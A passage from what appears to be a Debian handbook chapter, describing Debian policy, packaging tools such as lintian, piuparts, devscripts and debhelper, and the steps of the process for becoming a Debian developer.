rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in `debian/control` specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

➡ https://www.debian.org/doc/debian-policy/

Procedures

Debian is not a simple collection of individual packages. Everyone's packaging work is part of a collective project; being a Debian developer involves knowing how the Debian project operates as a whole. Every developer will, sooner or later, interact with others. The Debian Developer's Reference (in the *developers-reference* package) summarizes what every developer must know in order to interact as smoothly as possible with the various teams within the project, and to take the best possible advantages of the available resources. This document also enumerates a number of duties a developer is expected to fulfill.

➡ https://www.debian.org/doc/manuals/developers-reference/

Tools

Many tools help package maintainers in their work. This section describes them quickly, but does not give the full details, since they all have comprehensive documentation of their own.

The `lintian` Program This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

This tool is only a helper, and it sometimes gets it wrong (for instance, since the Debian policy changes over time, `lintian` is sometimes outdated). It is also not exhaustive: not getting any Lintian error should not be interpreted as a proof that the package is perfect; at most, it avoids the most common errors.

The `piuparts` Program This is another important tool: it automates the installation, upgrade, removal and purge of a package (in an isolated environment), and checks that none of these operations leads to an error. It can help in detecting missing dependencies, and it also detects when files are incorrectly left over after the package got purged.

devscripts The *devscripts* package contains many programs helping with a wide array of a Debian developer's job:

- `debuild` allows generating a package (with `dpkg-buildpackage`) and running `lintian` to check its compliance with the Debian policy afterwards.
- `debclean` cleans a source package after a binary package has been generated.
- `dch` allows quick and easy editing of a `debian/changelog` file in a source package.
- `uscan` checks whether a new version of a software has been released by the upstream author; this requires a `debian/watch` file with a description of the location of such releases.
- `debi` allows installing (with `dpkg -i`) the Debian package that was just generated without the need to type its full name and path.
- In a similar fashion, `debc` allows scanning the contents of the recently-generated package (with `dpkg -c`), without needing to type its full name and path.
- `bts` controls the bug tracking system from the command line; this program automatically generates the appropriate emails.
- `debrelease` uploads a recently-generated package to a remote server, without needing to type the full name and path of the related `.changes` file.
- `debsign` signs the `*.dsc` and `*.changes` files.
- `uupdate` automates the creation of a new revision of a package when a new upstream version has been released.

debhelper* and *dh-make Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from `debian/rules`. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a `dh_` prefix.

The `dh_make` script (in the *dh-make* package) creates files required for generating a Debian package in a directory initially containing the sources for a piece of software. As can be guessed from the name of the program, the generated files use debhelper by default.

autopkgtest `autopkgtest` runs tests on binary packages, using the tests supplied in the source package.

reprotest `reprotest` builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then `diffoscope` (if unavailable, `diff`) is used to display them in detail for later analysis.

`dupload` and `dput` The `dupload` and `dput` commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a `*.changes` file as a parameter, and deduce the other relevant files from its contents.

15.4.2. Acceptance Process

Becoming a "Debian developer" is not a simple administrative matter. The process comprises several steps, and is as much an initiation as it is a selection process. In any case, it is formalized and well-documented, so anyone can track their progression on the website dedicated to the new member process.

➨ https://nm.debian.org/

EXTRA

Lightweight process for "Debian Maintainers"

"Debian Maintainer" is another status that gives less privileges than "Debian developer" but whose associated process is quicker. With this status, the contributors can maintain their own packages only. A Debian developer only needs to perform a check on an initial upload, and issue a statement to the effect that they trust the prospective maintainer with the ability to maintain the package on their own.

Prerequisites

All candidates are expected to have at least a working knowledge of the English language. This is required at all levels: for the initial communications with the examiner, of course, but also later, since English is the preferred language for most of the documentation; also, package users will be communicating in English when reporting bugs, and they will expect replies in English.

The other prerequisite deals with motivation. Becoming a Debian developer is a process that only makes sense if the candidate knows that their interest in Debian will last for many months. The acceptance process itself may last for several months, and Debian needs developers for the long haul; each package needs permanent maintenance, and not just an initial upload.

Registration

The first (real) step consists in finding a sponsor or advocate; this means an official developer willing to state that they believe that accepting *X* would be a good thing for Debian. This usually implies that the candidate has already been active within the community, and that their work has been appreciated. If the candidate is shy and their work is not publicly touted, they can try to convince a Debian developer to advocate them by showing their work in a private way.

At the same time, the candidate must generate a public/private RSA key pair with GnuPG, which should be signed by at least two official Debian developers. The signature authenticates the name on the key. Effectively, during a key signing party, each participant must show an official identification (usually an ID card or passport) together with their key identifiers. This step confirms the link between the human and the keys. This signature thus requires meeting in real life. If you have not yet met any Debian developers in a public free software conference, you can explicitly seek developers living nearby using the list on the following webpage as a starting point.

➨ https://wiki.debian.org/Keysigning

Once the registration on nm.debian.org has been validated by the advocate, an *Application Manager* is assigned to the candidate. The application manager will then drive the process through multiple pre-defined steps and checks.

The first verification is an identity check. If you already have a key signed by two Debian developers, this step is easy; otherwise, the application manager will try and guide you in your search for Debian developers close by to organize a meet-up and a key signing.

Accepting the Principles

These administrative formalities are followed by philosophical considerations. The point is to make sure that the candidate understands and accepts the social contract and the principles behind Free Software. Joining Debian is only possible if one shares the values that unite the current developers, as expressed in the founding texts (and summarized in chapter 1, "The Debian Project" page 2).

In addition, each candidate wishing to join the Debian ranks is expected to know the workings of the project, and how to interact appropriately to solve the problems they will doubtless encounter as time passes. All of this information is generally documented in manuals targeting the new maintainers, and in the Debian developer's reference. An attentive reading of this document should be enough to answer the examiner's questions. If the answers are not satisfactory, the candidate will be informed. They will then have to read (again) the relevant documentation before trying again. In the cases where the existing documentation does not contain the appropriate answer for the question, the candidate can usually reach an answer with some practical experience within Debian, or potentially by discussing with other Debian developers. This mechanism ensures that candidates get involved somewhat in Debian before becoming a full part of it. It is a deliberate policy, by which candidates who eventually join the project are integrated as another piece of an infinitely extensible jigsaw puzzle.

This step is usually known as the *Philosophy & Procedures* (P&P for short) in the lingo of the developers involved in the new member process.

Checking Skills

Each application to become an official Debian developer must be justified. Becoming a project member requires showing that this status is legitimate, and that it facilitates the candidate's job in helping Debian. The most common justification is that being granted Debian developer status eases maintenance of a Debian package, but it is not the only one. Some developers join the project to contribute to porting to a specific architecture, others want to improve documentation, and so on.

This step represents the opportunity for the candidate to state what they intend to do within the Debian project and to show what they have already done towards that end. Debian is a pragmatic project and saying something is not enough, if the actions do not match what is announced. Generally, when the intended role within the project is related to package maintenance, a first